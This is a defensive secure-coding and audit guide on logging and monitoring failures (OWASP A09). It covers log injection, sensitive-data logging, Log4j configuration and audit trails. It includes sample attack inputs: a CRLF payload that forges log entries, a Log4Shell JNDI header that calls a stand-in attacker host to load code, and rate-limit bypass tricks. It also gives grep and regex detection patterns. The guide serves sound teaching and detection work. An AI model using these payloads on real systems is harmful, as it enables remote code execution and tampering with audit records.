# Logging & Monitoring Security

> OWASP A09:2021 - Security Logging and Monitoring Failures
> Log injection, sensitive data exposure, monitoring bypass, audit trail

---

## Core Risks

| Risk Type | Description | CWE |
|-----------|-------------|-----|
| Log Injection | Attackers control log content, forging audit records | CWE-117 |
| Sensitive Data Logging | Passwords/Tokens/PII written to logs | CWE-532 |
| Log Forging | Inserting fake log entries via newline characters | CWE-93 |
| Monitoring Bypass | Bypassing security monitoring trigger conditions | CWE-778 |
| Log Tampering | Attackers modifying/deleting log files | CWE-779 |

---

## One-Click Detection Commands

### Log Injection Risk

```bash
# Java - Direct concatenation of user input to logs
grep -rn "log\.\(info\|debug\|warn\|error\).*\+" --include="*.java"
grep -rn "logger\.\(info\|debug\|warn\|error\).*\+" --include="*.java"

# Python
grep -rn "logging\.\(info\|debug\|warning\|error\).*%" --include="*.py"
grep -rn "logger\.\(info\|debug\|warning\|error\).*f\"" --include="*.py"

# JavaScript/Node.js
grep -rn "console\.\(log\|info\|warn\|error\).*\+" --include="*.js" --include="*.ts"
grep -rn "logger\.\(info\|debug\|warn\|error\).*\+" --include="*.js" --include="*.ts"

# PHP
grep -rn "error_log\|syslog\|openlog" --include="*.php"

# Go
grep -rn "log\.\(Print\|Printf\|Println\|Fatal\)" --include="*.go"
```

### Sensitive Data Logging

```bash
# Search for logs that may record sensitive data
grep -rni "log.*password\|log.*token\|log.*secret\|log.*key\|log.*credential" --include="*.java" --include="*.py" --include="*.js" --include="*.go"

# Search for full request/response logging
grep -rn "log.*request\|log.*response\|log.*body" --include="*.java" --include="*.py" --include="*.js"

# Search for full exception stack trace output
grep -rn "printStackTrace\|e\.getMessage\|traceback\|stack.*trace" --include="*.java" --include="*.py" --include="*.js"
```

---

## Log Injection Vulnerabilities

### 1. CRLF Log Injection

```java
// 🔴 Java - Log injection
String username = request.getParameter("username");
logger.info("User login attempt: " + username);

// Attack Payload:
// username=admin%0A2024-01-01 00:00:00 INFO User login successful: admin

// Log output becomes:
// 2024-01-01 12:00:00 INFO User login attempt: admin
// 2024-01-01 00:00:00 INFO User login successful: admin  <- Forged!

// 🟢 Secure: Filter newline characters
String safeUsername = username.replaceAll("[\\r\\n]", "");
logger.info("User login attempt: {}", safeUsername);
```

```python
# 🔴 Python - Log injection
username = request.args.get('username')
logging.info(f"User login: {username}")

# Attack: username=admin\nINFO:root:Login successful

# 🟢 Secure
safe_username = username.replace('\n', '').replace('\r', '')
logging.info("User login: %s", safe_username)
```

```javascript
// 🔴 Node.js - Log injection
const username = req.body.username;
console.log(`User login: ${username}`);
logger.info(`User login: ${username}`);

// 🟢 Secure
const safeUsername = username.replace(/[\r\n]/g, '');
logger.info('User login', { username: safeUsername });
```

### 2. Log Format String

```java
// 🔴 Java - String.format logging
String userInput = request.getParameter("data");
logger.info(String.format("Data: %s", userInput));
// If userInput contains %n or other format specifiers, problems may occur

// 🟢 Secure: Use parameterized logging
logger.info("Data: {}", userInput);
```

```python
# 🔴 Python - Format strings
logging.info("Data: %s" % user_input)  # Old-style formatting
logging.info(f"Data: {user_input}")    # f-string (potentially problematic)

# 🟢 Secure: Use parameters
logging.info("Data: %s", user_input)
```

### 3. Log4j Specific Vulnerability (CVE-2021-44228)

```java
// 🔴 Log4j JNDI injection (Log4j 2.0-beta9 ~ 2.14.1)
String userAgent = request.getHeader("User-Agent");
logger.info("User-Agent: " + userAgent);

// Attack Payload:
// User-Agent: ${jndi:ldap://attacker.com/exploit}

// Detection command
grep -rn "log4j" pom.xml build.gradle
grep -rn "\$\{jndi:\|lookups" --include="*.java"

// 🟢 Fix
// 1. Upgrade to Log4j 2.17.0+
// 2. Set log4j2.formatMsgNoLookups=true
// 3. Remove JndiLookup class
```

---

## Sensitive Data Logging

### 1. Password/Credential Logging

```java
// 🔴 Logging passwords
logger.debug("Login attempt - user: " + user + ", password: " + password);
logger.info("API call with token: " + apiToken);

// 🔴 Logging full request
logger.debug("Request body: " + request.getReader().lines().collect(Collectors.joining()));

// 🟢 Secure: Data masking
logger.debug("Login attempt - user: {}", user);  // Don't log passwords
logger.info("API call with token: {}...", apiToken.substring(0, 8));  // Partial masking
```

### 2. PII (Personally Identifiable Information) Logging

```java
// 🔴 Logging PII
logger.info("User registered: " + user.getEmail() + ", SSN: " + user.getSsn());
logger.info("Credit card: " + creditCardNumber);

// 🟢 Secure: Masking
logger.info("User registered: {}", maskEmail(user.getEmail()));
logger.info("Credit card: ****{}", creditCardNumber.substring(creditCardNumber.length() - 4));

// Masking function
public static String maskEmail(String email) {
    int atIndex = email.indexOf('@');
    if (atIndex > 2) {
        return email.substring(0, 2) + "***" + email.substring(atIndex);
    }
    return "***" + email.substring(atIndex);
}
```

### 3. Exception Information Leakage

```java
// 🔴 Full stack trace written to log (may leak paths/versions/config)
try {
    // ...
} catch (Exception e) {
    logger.error("Error: " + e.getMessage(), e);  // Full stack trace
    e.printStackTrace();  // Output to stderr
}

// 🔴 Returned to user
return ResponseEntity.status(500).body(e.getStackTrace());

// 🟢 Secure
try {
    // ...
} catch (Exception e) {
    String errorId = UUID.randomUUID().toString();
    logger.error("Error [{}]: {}", errorId, e.getMessage(), e);  // Internal log retains it
    return ResponseEntity.status(500).body("Error ID: " + errorId);  // Only return ID
}
```

---

## Log Framework Security Configuration

### Log4j2 Security Configuration

```xml
<!-- log4j2.xml -->
<Configuration status="WARN">
    <!-- Disable JNDI Lookup -->
    <Properties>
        <Property name="log4j2.formatMsgNoLookups">true</Property>
    </Properties>

    <Appenders>
        <RollingFile name="File" fileName="app.log"
                     filePattern="app-%d{yyyy-MM-dd}-%i.log.gz">
            <!-- Use safe Pattern -->
            <PatternLayout>
                <!-- %encode{} encodes special characters -->
                <Pattern>%d{ISO8601} [%t] %-5level %logger{36} - %encode{%msg}{CRLF}%n</Pattern>
            </PatternLayout>
            <Policies>
                <SizeBasedTriggeringPolicy size="10MB"/>
                <TimeBasedTriggeringPolicy/>
            </Policies>
            <!-- Limit file count to prevent disk exhaustion -->
            <DefaultRolloverStrategy max="30"/>
        </RollingFile>
    </Appenders>

    <Loggers>
        <!-- Disable DEBUG in production -->
        <Root level="INFO">
            <AppenderRef ref="File"/>
        </Root>
    </Loggers>
</Configuration>
```

### Logback Security Configuration

```xml
<!-- logback.xml -->
<configuration>
    <!-- Custom converter to filter CRLF -->
    <conversionRule conversionWord="safeMsg"
                    converterClass="com.example.SafeMessageConverter"/>

    <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>app.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <fileNamePattern>app.%d{yyyy-MM-dd}.log</fileNamePattern>
            <maxHistory>30</maxHistory>
            <totalSizeCap>1GB</totalSizeCap>
        </rollingPolicy>
        <encoder>
            <pattern>%d{ISO8601} [%thread] %-5level %logger{36} - %safeMsg%n</pattern>
        </encoder>
    </appender>

    <root level="INFO">
        <appender-ref ref="FILE"/>
    </root>
</configuration>
```

```java
// SafeMessageConverter.java
public class SafeMessageConverter extends ClassicConverter {
    @Override
    public String convert(ILoggingEvent event) {
        return event.getFormattedMessage()
                    .replace("\r", "\\r")
                    .replace("\n", "\\n");
    }
}
```

### Python logging Security Configuration

```python
import logging
import re

class CRLFSafeFormatter(logging.Formatter):
    """Formatter that filters CRLF characters"""
    def format(self, record):
        message = super().format(record)
        return message.replace('\r', '\\r').replace('\n', '\\n')

class SensitiveDataFilter(logging.Filter):
    """Filter for sensitive data"""
    PATTERNS = [
        (re.compile(r'password["\']?\s*[:=]\s*["\']?[^"\']+["\']?', re.I), 'password=***'),
        (re.compile(r'token["\']?\s*[:=]\s*["\']?[^"\']+["\']?', re.I), 'token=***'),
        (re.compile(r'\b\d{16}\b'), '****'),  # Credit card number
    ]

    def filter(self, record):
        for pattern, replacement in self.PATTERNS:
            record.msg = pattern.sub(replacement, str(record.msg))
        return True

# Configuration
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger()
handler = logging.StreamHandler()
handler.setFormatter(CRLFSafeFormatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))
handler.addFilter(SensitiveDataFilter())
logger.addHandler(handler)
```

### Node.js Winston Security Configuration

```javascript
const winston = require('winston');

// CRLF filtering
const crlfSafeFormat = winston.format((info) => {
    if (typeof info.message === 'string') {
        info.message = info.message.replace(/[\r\n]/g, ' ');
    }
    return info;
});

// Sensitive data masking
const sensitiveDataFormat = winston.format((info) => {
    const sensitiveKeys = ['password', 'token', 'secret', 'apiKey', 'authorization'];
    const maskValue = (obj) => {
        if (typeof obj !== 'object' || obj === null) return obj;
        const masked = { ...obj };
        for (const key of Object.keys(masked)) {
            if (sensitiveKeys.some(k => key.toLowerCase().includes(k))) {
                masked[key] = '***';
            } else if (typeof masked[key] === 'object') {
                masked[key] = maskValue(masked[key]);
            }
        }
        return masked;
    };
    info = maskValue(info);
    return info;
});

const logger = winston.createLogger({
    level: 'info',
    format: winston.format.combine(
        crlfSafeFormat(),
        sensitiveDataFormat(),
        winston.format.timestamp(),
        winston.format.json()
    ),
    transports: [
        new winston.transports.File({
            filename: 'app.log',
            maxsize: 10485760,  // 10MB
            maxFiles: 30
        })
    ]
});
```

---

## Monitoring Bypass Risks

### 1. Rate Limit Bypass

```python
# 🔴 Simple IP-based limit is easily bypassed
failed_attempts = get_failed_attempts(request.remote_addr)
if failed_attempts > 5:
    block_ip(request.remote_addr)

# Bypass methods:
# - X-Forwarded-For spoofing
# - Proxy rotation
# - IPv6 address variation

# 🟢 Secure: Multi-dimensional limiting
def check_rate_limit(request):
    ip = get_real_ip(request)  # Correctly obtain real IP
    user_agent = request.headers.get('User-Agent', '')
    fingerprint = hash(f"{ip}:{user_agent}")

    # Multi-dimensional check
    if is_ip_blocked(ip):
        return False
    if is_fingerprint_blocked(fingerprint):
        return False
    if is_account_locked(request.form.get('username')):
        return False
    return True
```

### 2. Log Evasion

```bash
# Attackers may attempt:
# 1. Extremely long input to truncate logs
# 2. Special characters to disrupt log parsing
# 3. Encoding to bypass log filters

# Defense: Limit log field length
MAX_LOG_FIELD_LENGTH = 1000
safe_input = user_input[:MAX_LOG_FIELD_LENGTH]
```

### 3. Timestamp Forgery

```java
// 🔴 Using client-side time
logger.info("Event at " + request.getParameter("timestamp") + ": " + event);

// 🟢 Secure: Always use server-side time
logger.info("Event: {}", event);  // Logging framework automatically adds server time
```

---

## Audit Trail Best Practices

### 1. Security Event Logging Checklist

```java
// Security events that must be logged
public enum SecurityEvent {
    LOGIN_SUCCESS,
    LOGIN_FAILURE,
    LOGOUT,
    PASSWORD_CHANGE,
    PASSWORD_RESET_REQUEST,
    ACCOUNT_LOCKED,
    ACCOUNT_UNLOCKED,
    PERMISSION_DENIED,
    PRIVILEGE_ESCALATION,
    SENSITIVE_DATA_ACCESS,
    CONFIGURATION_CHANGE,
    USER_CREATED,
    USER_DELETED,
    ROLE_ASSIGNED,
    API_KEY_CREATED,
    API_KEY_REVOKED
}

public void logSecurityEvent(SecurityEvent event, String userId, String details) {
    String logEntry = String.format(
        "SECURITY_EVENT=%s USER=%s IP=%s DETAILS=%s",
        event, userId, getClientIp(), sanitize(details)
    );
    securityLogger.info(logEntry);
}
```

### 2. Structured Logging

```java
// Use JSON structured logging for easier analysis
import net.logstash.logback.argument.StructuredArguments;

logger.info("Security event",
    StructuredArguments.kv("event", "LOGIN_FAILURE"),
    StructuredArguments.kv("user", username),
    StructuredArguments.kv("ip", clientIp),
    StructuredArguments.kv("reason", "invalid_password"),
    StructuredArguments.kv("attempt", attemptCount)
);

// Output: {"event":"LOGIN_FAILURE","user":"admin","ip":"1.2.3.4","reason":"invalid_password","attempt":3}
```

### 3. Log Integrity Protection

```bash
# Log signing (using rsyslog)
# /etc/rsyslog.d/signing.conf
$ActionOMProgBinaryFileTemplate RSYSLOG_TraditionalFileFormat
$ActionOMProgBinary /usr/local/bin/log-signer.sh

# Forward logs to dedicated server
*.* @@secure-log-server:514

# Use append-only filesystem attributes
chattr +a /var/log/secure/*.log
```

---

## Audit Checklist

```
Log Injection Protection:
- [ ] Check for log concatenation with user input
- [ ] Verify CRLF filtering
- [ ] Check Log4j version (< 2.17.0 is dangerous)
- [ ] Verify log formatting method

Sensitive Data:
- [ ] Search for passwords/tokens in logs
- [ ] Check PII data logging
- [ ] Verify exception information handling
- [ ] Check full request/response logging

Configuration Security:
- [ ] Verify log level (disable DEBUG in production)
- [ ] Check log rotation configuration
- [ ] Verify log file permissions
- [ ] Check log transport encryption

Monitoring Integrity:
- [ ] Verify security event logging coverage
- [ ] Check rate limiting implementation
- [ ] Verify log integrity protection
- [ ] Check log backup strategy
```

---

## Audit Regex

```regex
# Log injection
log\.(info|debug|warn|error)\s*\([^)]*\+|logger\.(info|debug|warn|error)\s*\([^)]*\+
logging\.(info|debug|warning|error)\s*\([^)]*%[^,]

# Sensitive data logging
log.*password|log.*token|log.*secret|log.*api.?key
printStackTrace|getStackTrace|traceback

# Log4j JNDI
\$\{jndi:|lookup.*ldap|lookup.*rmi

# Unsafe log level
level.*DEBUG|DEBUG.*level|setLevel.*DEBUG
```

---

**Version**: 1.0
**Last Updated**: 2026-02-04
**Covered Vulnerability Types**: Log injection, sensitive data exposure, monitoring bypass, audit trail
